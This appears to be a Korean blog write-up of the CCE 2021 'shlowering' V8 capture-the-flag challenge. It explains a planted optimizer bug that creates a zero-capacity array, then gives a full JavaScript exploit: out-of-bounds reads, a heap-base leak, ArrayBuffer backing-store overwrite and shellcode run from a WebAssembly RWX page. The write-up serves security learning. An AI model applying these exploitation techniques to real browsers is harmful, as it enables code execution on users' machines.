본문 바로가기

브라우저

CCE 2021 - shlowering

취약점 분석

JSCreateLowering에 최적화 phase를 하나 더 추가했다. jscreate의 size가 add, bit shift, sub로 계산될 경우, 해당 값을 최적화하는 로직이다.

Reduction JSCreateLowering::ReduceHandleCCE(
  Node* bnode, Node* node, Node* length, MapRef initial_map, ElementsKind elements_kind,
  AllocationType allocation,
  const SlackTrackingPrediction& slack_tracking_prediction) {
  int capacity = 0;
  Node* newLength = length;
  Node* const value = bnode->InputAt(0);
  if (NodeProperties::IsTyped(value) &&
    IsNumericNode(bnode->InputAt(1))) {
    Type lhs_type = NodeProperties::GetType(value);
    const int32_t m_min = static_cast<int32_t>(lhs_type.Min());
    const int32_t m_max = static_cast<int32_t>(lhs_type.Max());

    const double tmp = OpParameter<double>(bnode->InputAt(1)->op());
    int32_t rightValue = 0;
    DoubleToSmiInteger(tmp, &rightValue);

    int32_t newMin = std::numeric_limits<int32_t>::min();
    int32_t newMax = std::numeric_limits<int32_t>::max();

    switch (bnode->opcode()) {
      case IrOpcode::kSpeculativeNumberAdd:
        break;
      case IrOpcode::kSpeculativeNumberSubtract:
        if ((m_min < rightValue) ||
          (m_max < rightValue)) {
          capacity = newMax;
          newLength = jsgraph()->Constant(capacity);
        } else {
          capacity = m_max;
          newLength = jsgraph()->Constant(capacity);
        }
        break;
      case IrOpcode::kSpeculativeNumberShiftLeft:
        newMin = m_min << static_cast<int32_t>(rightValue);
        newMax = m_max << static_cast<int32_t>(rightValue);
        if ((newMin >> rightValue) != static_cast<int32_t>(m_min)) {
          newMin = std::numeric_limits<int32_t>::min();
        }
        if ((newMax >> rightValue) != static_cast<int32_t>(m_max)) {
          newLength = jsgraph()->Constant(newMax);
          if (NodeProperties::GetType(length).Max() == newMax) {
            capacity = newMax;
          }
          newMax = std::numeric_limits<int32_t>::max();
        }
        if (newMin >= 0 && newMax <= 0x7fffffff) {
          break;
        } else {
          capacity = std::numeric_limits<int32_t>::max();
          newLength = jsgraph()->Constant(capacity);
        }
        break;
      case IrOpcode::kSpeculativeNumberShiftRight:
        newMin = m_min >> static_cast<int32_t>(rightValue);
        newMax = m_max >> static_cast<int32_t>(rightValue);
        if ((newMin << rightValue) != static_cast<int32_t>(m_min) ||
          (newMax << rightValue) != static_cast<int32_t>(m_max)) {
          capacity = std::numeric_limits<int32_t>::max();
          newLength = jsgraph()->Constant(capacity);
        }
        break;
      default:
        capacity = newMax;
        newLength = jsgraph()->Constant(capacity);
        break;
    }
  }
  return ReduceNewArray(node, newLength, capacity, initial_map, elements_kind,
                    allocation, slack_tracking_prediction);
}

capacity는 새로 생성될 js 오브젝트의 element size를 나타낸다. 해당 값은 함수 처음에 0으로 초기화된 후, 적절한 값으로 세팅되지 않을 수 있다. 예를 들어 IrOpcode가 kSpeculativeNumberAdd일 경우, case 문이 바로 종료되고 capacity가 0인채로 ReduceNewArray를 호출한다. 이 경우 생성되는 JSobject의 element size는 0이다.

취약점 트리거 조건이 굉장히 널널하지만, 몇가지 제약사항이 있다. 적절한 계산 로직을 찾기 위해서 간단한 손퍼징을 수행했다.

  1. 추가된 최적화 로직을 실행하깅 위해서 bit 연산자 필요.
  2. add, sub, >>는 debug check에 걸림. <<는 체크 로직이 없어서 해당 op사용.

1번의 경우 다른 poc에서 사용하는 경우가 많았고, 2번의 경우 경우의 수가 많이 없어서 간단히 찾을 수 있었다.

 

function foo(i){
    i&=0xfffffff
    var oob = Array(i<<5)
    oob[1]=1.1
}
for(i=0;i<0x4000000;i++){
    foo(12000);
}

 

 

각각의 page 사이에, rwx 권한이 없는 페이지가 섞여 있기 때문에 OOB Read로 값을 읽으려 하면 crash가 발생한다. 따라서 idx를 0부터 찾지 말고, 각 page의 offset을 대충 때려맞춰서 넣어줘야 한다.

 

Exploit

  1. 취약점을 통해서 OOB array를 만든다.
  2. gdb를 통해서 적절한 offset base를 구하고, 하드코딩해준다.
  3. Uint32Array의 멤버 변수를 통해서 v8 heap base를 leak한다.
  4. ArrayBuffer의 backing store를 덮어서 AAW를 얻는다.
  5. 쉘코드를 작성하고 wasm 호출
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){
		return;
	}
	throw "error"
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;

function foo(i,fl){
    i&=0xfffffff;
    var oob = Array(i<<1);
    if(fl){

        var victim=[itof(0xaa11aabbccccbbbb)  , itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb)];
    }else{
        var victim=[1.1,2.2]
    }
    return [oob,victim]
}

rets=[]
for(i=0;i<0x40000;i++){
    foo(0x10,false)[1]; 
}

ret = foo(0x300000,true)

NOT_GC = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
addr=[0x1234,0x2468,wasm_instance];
young_oob = ret[0]
ib=false
for(i=0x5d96b-0x24000;i<young_oob.length;i++){//get offset by gdb. better method?

    leak = young_oob[i];
    if(leak==undefined){
        throw "can not find";
    }
    leak = ftoi(leak);
    if(("0xceed00000000"==hex(leak))){
        console.log("Let's check "+hex(i))
        for(k=-30;k<30;k++){
            tmp = ftoi(young_oob[i+k]);
            console.log("young_oob["+hex(i+k)+"] = "+hex(tmp))
            low = tmp&0xffffffffn
            high = tmp>>32n
            if(low==7){
                hb = high<<32n;
            }
            if(low==0x048d0){
                p_rwx = high;
            }
        }
        aaw_low= i+1; // 0xlow00000000
        aaw_high=i+2; // 0xsome_value + high
        
        ib=true;
        break;
    }
}
p_rwx = p_rwx+hb+0x5fn
console.log("v8 heap base = "+hex(hb))
console.log("rwx pointer= "+hex(p_rwx))
console.log("aaw_low= "+hex(aaw_low))
console.log("aaw_high= " + hex(aaw_high))
for (let i = 0; i < 0x100; i++)
    new ArrayBuffer(0x1000000);

young_oob[aaw_low] = itof((p_rwx&0xffffffffn)<<32n)
young_oob[aaw_high] = itof(p_rwx>>32n)

var view = new DataView(AARW);
rwx0= view.getUint32(0,true);
rwx1= view.getUint32(4,true)

console.log("rwx0 = "+hex(rwx0))
console.log("rwx1 = "+hex(rwx1))
rwx  = rwx0 + (rwx1*0x100000000)

console.log("rwx = "+hex(rwx)) 

young_oob[aaw_low] =  itof(rwx0*0x100000000)// rwx0<32 is crash when ex.js start ?? Why GC??
young_oob[aaw_high] = itof(rwx1)
var view = new DataView(AARW);
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for(i=0;i<shellcode.length;i++){
        view.setUint32(i*4,shellcode[i],true);
}
sh()

'브라우저' 카테고리의 다른 글

ASIS CTF Quals 2021 - V8 for dummies  (0) 2021.10.31
CVE-2020-6383  (0) 2020.11.10
DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03